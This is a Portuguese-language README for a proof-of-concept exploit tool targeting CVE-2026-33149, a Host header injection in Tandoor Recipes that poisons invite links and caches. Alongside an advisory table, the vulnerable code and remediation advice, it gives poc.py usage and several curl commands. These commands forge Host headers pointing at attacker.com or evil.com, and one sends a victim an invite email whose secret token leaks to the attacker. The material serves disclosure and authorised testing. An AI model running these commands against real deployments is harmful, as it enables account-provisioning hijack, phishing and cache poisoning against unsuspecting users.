
Prova de conceito de exploit para CVE-2026-33149, uma injeção de cabeçalho Host no Tandoor Recipes que permite envenenamento de link de convite e envenenamento de cache. Inclui módulos para aceitação de host, paginação, esquema e envenenamento de convite.
O Tandoor Recipes define ALLOWED_HOSTS = '*' por padrão em settings.py, fazendo com que o Django aceite qualquer valor no cabeçalho HTTP sem validação. A aplicação usa para gerar URLs absolutas em vários contextos sensíveis à segurança. Um atacante que consiga enviar requisições com um cabeçalho forjado pode redirecionar todas as URLs geradas pelo servidor para um domínio controlado pelo atacante.
Hostrequest.build_absolute_uri()HostO impacto mais crítico é o envenenamento de links de convite: quando um administrador cria um convite de usuário, o e-mail enviado pelo servidor contém um link apontando para o domínio do atacante. A vítima clica em um e-mail de aparência legítima, o token do convite é exfiltrado, e o atacante o utiliza para sequestrar o fluxo de provisionamento de conta.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-33149 |
| GHSA | GHSA-x636-4jx6-xc4w |
| CWE | CWE-644 — Neutralização Incorreta de Cabeçalhos HTTP para Sintaxe de Script |
| CVSS v3.1 | 8.1 ALTA — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N |
| Versão Afetada | Tandoor Recipes ≤ 2.5.3 |
| Fornecedor | TandoorRecipes/recipes |
Arquivo: recipes/settings.py:118
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*') # default: wildcard
O ALLOWED_HOSTS do Django é uma medida de segurança que valida o cabeçalho Host contra uma lista de permissões. O curinga '*' desativa essa validação completamente, permitindo qualquer valor arbitrário.
Arquivo: cookbook/serializer.py:1852-1853
message += _('Click the following link to activate your account: ') + self.context[
'request'].build_absolute_uri(
reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'
request.build_absolute_uri() constrói URLs usando request.get_host(), que retorna o valor bruto do cabeçalho Host quando ALLOWED_HOSTS não o restringe. O UUID do convite — um token secreto — é incorporado na URL que agora aponta para o atacante.
build_absolute_uri() para URLs next/previous┌──────────┐ ① Requisição Forjada ┌─────────────────┐
│ Atacante │ ──────────────────────────────→│ Servidor Tandoor│
│ │ Host: attacker.com │ ALLOWED_HOSTS=*│
└──────────┘ └────────┬────────┘
│
② build_absolute_uri()
usa "attacker.com"
│
▼
┌────────────────┐
│ Servidor SMTP │
└────────┬───────┘
│
③ E-mail com link envenenado:
http://attacker.com/invite/<uuid>
│
▼
┌────────────────┐
│ Vítima │
│ (clica no link)│
└────────┬───────┘
│
④ UUID enviado ao atacante
│
▼
┌────────────────┐
│ Atacante │
│ usa o UUID no │
│ servidor real │
└────────────────┘
requestspip install requests
# Executar todos os módulos de validação com autenticação básica
python3 poc.py --target http://localhost:8085 \
--basic-auth admin:password \
--attacker evil.com \
--module all
# Executar todos os módulos com cookies de sessão
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module all
# Apenas envenenamento de link de convite
python3 poc.py --target http://target:8085 \
--session <sessionid> \
--csrf <csrftoken> \
--attacker evil.com \
--module invite \
--email [email protected] \
--group-id 1
| Módulo | Descrição |
|---|---|
host-accept | Verifica se o alvo aceita cabeçalhos Host arbitrários (ALLOWED_HOSTS = '*') |
pagination | Confirma que as URLs de paginação da API refletem o domínio injetado |
schema | Confirma que as URLs de servidor do esquema OpenAPI refletem o domínio injetado |
invite | Cria um link de convite envenenado — o vetor de ataque principal |
all | Executa todos os módulos sequencialmente |
1. Aceitação do Cabeçalho Host
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/user/ \
-H "Host: attacker.com" \
-u "admin:password"
# Esperado: 200 (vulnerável) | 400 (corrigido)
2. Reflexão da URL de Paginação
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" \
-H "Accept: application/json"
# Esperado: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
3. Reflexão da URL do Esquema
curl -s http://TARGET:8085/api/schema/ \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Esperado: http://evil.com/...
4. Envenenamento do Link de Convite
curl -s http://TARGET:8085/api/invite-link/ \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
-H "X-CSRFToken: CSRF" \
-H "Host: attacker.com" \
-d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# A vítima recebe o e-mail: "Click: http://attacker.com/invite/<uuid>"
| Área de Impacto | Descrição | Gravidade |
|---|---|---|
| Sequestro de Token de Convite | O atacante captura o UUID do convite via link de e-mail envenenado, sequestrando o provisionamento de conta | Crítica |
| Phishing de Credenciais | A vítima acessa um domínio controlado pelo atacante esperando uma página de registro legítima | Alta |
| Envenenamento de Cache | Em implantações com proxies de cache, uma única resposta envenenada contamina o cache para todos os usuários | Alta |
| Desorientação de Clientes de API | URLs de paginação e esquema redirecionam consumidores de API para a infraestrutura do atacante | Média |
Defina ALLOWED_HOSTS para listar explicitamente seus hostnames válidos:
# docker-compose.yml ou .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost
Host inesperados antes que cheguem ao DjangoUSE_X_FORWARDED_HOST = False — Garanta que o Django não confie em X-Forwarded-Host de fontes não confiáveis (o padrão é False)SITE_URL para geração de links em e-mails em vez de depender de request.build_absolute_uri()Esta prova de conceito é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade pelo uso indevido desta ferramenta.
Filipe Gaudard — Pesquisador de Segurança Ofensiva | eWPT | eWPTx